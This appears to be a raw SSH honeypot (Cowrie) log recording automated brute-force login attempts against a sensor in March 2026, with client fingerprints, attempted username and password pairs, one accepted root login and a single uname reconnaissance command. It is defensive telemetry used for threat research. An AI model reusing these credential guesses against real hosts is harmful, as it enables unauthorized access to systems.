{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:14:59.033236Z","src_ip":"5.75.137.141","session":"0efa02fe0154","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":34600,"dst_ip":"159.203.135.109","dst_port":22,"session":"e31ea679ef8f","protocol":"ssh","message":"New connection: 2.57.122.96:34600 (159.203.135.109:22) [session: e31ea679ef8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:15:18.101905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:15:18.106504Z","src_ip":"2.57.122.96","session":"e31ea679ef8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:15:18.206452Z","src_ip":"2.57.122.96","session":"e31ea679ef8f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:15:18.504610Z","src_ip":"2.57.122.96","session":"e31ea679ef8f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:15:18.741098Z","src_ip":"2.57.122.96","session":"e31ea679ef8f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:15:18.744472Z","src_ip":"2.57.122.96","session":"e31ea679ef8f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:15:18.846754Z","src_ip":"2.57.122.96","session":"e31ea679ef8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:15:18.850481Z","src_ip":"2.57.122.96","session":"e31ea679ef8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":53344,"dst_ip":"159.203.135.109","dst_port":22,"session":"aebb0b9e68a2","protocol":"ssh","message":"New connection: 2.57.122.208:53344 (159.203.135.109:22) [session: aebb0b9e68a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:16:26.712373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:16:26.879151Z","src_ip":"2.57.122.208","session":"aebb0b9e68a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:16:26.882824Z","src_ip":"2.57.122.208","session":"aebb0b9e68a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:16:27.811689Z","src_ip":"2.57.122.208","session":"aebb0b9e68a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:16:28.944944Z","src_ip":"2.57.122.208","session":"aebb0b9e68a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.187.200.190","src_port":38094,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bbaa2c70285","protocol":"ssh","message":"New connection: 172.187.200.190:38094 (159.203.135.109:22) [session: 7bbaa2c70285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:16:33.951855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:16:33.956426Z","src_ip":"172.187.200.190","session":"7bbaa2c70285","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:16:34.040337Z","src_ip":"172.187.200.190","session":"7bbaa2c70285","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rune","password":"rune!","message":"login attempt [rune/rune!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:16:34.210218Z","src_ip":"172.187.200.190","session":"7bbaa2c70285","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:16:35.295956Z","src_ip":"172.187.200.190","session":"7bbaa2c70285","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":47892,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f0052fabd29","protocol":"ssh","message":"New connection: 2.57.122.208:47892 (10.17.0.5:22) [session: 7f0052fabd29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:17:01.326159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:17:01.330900Z","src_ip":"2.57.122.208","session":"7f0052fabd29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:17:01.461240Z","src_ip":"2.57.122.208","session":"7f0052fabd29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:17:01.911707Z","src_ip":"2.57.122.208","session":"7f0052fabd29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:17:03.157288Z","src_ip":"2.57.122.208","session":"7f0052fabd29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.181.101.111","src_port":49284,"dst_ip":"10.17.0.5","dst_port":22,"session":"613fddb2d436","protocol":"ssh","message":"New connection: 135.181.101.111:49284 (10.17.0.5:22) [session: 613fddb2d436]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:17:10.871696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:17:10.875497Z","src_ip":"135.181.101.111","session":"613fddb2d436","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:17:10.982985Z","src_ip":"135.181.101.111","session":"613fddb2d436","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"binanceusd","password":"binanceusd2017!","message":"login attempt [binanceusd/binanceusd2017!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:17:11.201204Z","src_ip":"135.181.101.111","session":"613fddb2d436","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:17:12.313091Z","src_ip":"135.181.101.111","session":"613fddb2d436","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.127.249","src_port":48884,"dst_ip":"159.203.135.109","dst_port":22,"session":"283b2f03db75","protocol":"ssh","message":"New connection: 45.79.127.249:48884 (159.203.135.109:22) [session: 283b2f03db75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:17:51.904880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:17:51.909061Z","src_ip":"45.79.127.249","session":"283b2f03db75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:17:52.105051Z","src_ip":"45.79.127.249","session":"283b2f03db75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"theta","password":"theta2018!","message":"login attempt [theta/theta2018!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:17:52.498166Z","src_ip":"45.79.127.249","session":"283b2f03db75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:17:53.695450Z","src_ip":"45.79.127.249","session":"283b2f03db75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.128.241.222","src_port":38340,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f7ddf14ab9c","protocol":"ssh","message":"New connection: 138.128.241.222:38340 (10.17.0.5:22) [session: 4f7ddf14ab9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:18:08.410172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:18:08.415010Z","src_ip":"138.128.241.222","session":"4f7ddf14ab9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:18:08.420536Z","src_ip":"138.128.241.222","session":"4f7ddf14ab9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"time","password":"time2017!","message":"login attempt [time/time2017!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:18:08.431261Z","src_ip":"138.128.241.222","session":"4f7ddf14ab9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:18:09.437070Z","src_ip":"138.128.241.222","session":"4f7ddf14ab9c","protocol":"ssh"}
